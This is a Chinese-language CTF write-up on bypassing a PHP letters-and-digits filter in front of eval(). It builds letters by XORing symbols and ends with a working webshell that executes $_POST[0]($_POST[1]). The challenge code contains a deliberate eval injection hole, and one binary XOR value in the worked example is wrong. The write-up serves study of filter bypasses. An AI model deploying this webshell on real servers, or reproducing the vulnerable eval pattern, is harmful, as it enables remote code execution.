<?php
$shell=">";
if(!preg_match("/[a-zA-Z0-9_$@]+/",$shell)){
echo "1";}else{
echo "0";}
?>
shell的值没有在正则表达式中,返回为0,但是前面还有一个!,所以就变成了真输出为1
if 语句嵌套
以下情况均属于 if 结构嵌套。
if 语句体中可以含有 if 语句或 if-else 语句。
if-else 语句中的 if 体或者 else 体中含有 if 语句或 if-else 语句。
注意:
1)在嵌套结构中会有多个“if”与多个“else”关键词,每一个“else”都应有对应的“if”相配对。原则:“else”与其前面最近的还未配对的“if”相配对。
2)配对的 if-else 语句可以看成一条简单语句。
3)一条 if 语句也可以看成一条简单语句。
绕过不是英文字母,不是数字的验证。
preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int
preg_match()
返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()
在第一次匹配后 将会停止搜索。preg_match_all()
不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()
返回 FALSE。
正文
题目源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// ?>
可以看到这段代码中,要求而传入的参数不能带有数字和英文字母,
要是用非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数,然后执行这个函数
getshell
。如何构造
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
<?php echo "A"^"?"; ?>
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了
以此可以构造
webshell
<?php @$_++; //$_=NULL=0 $_++=1 $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //_POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>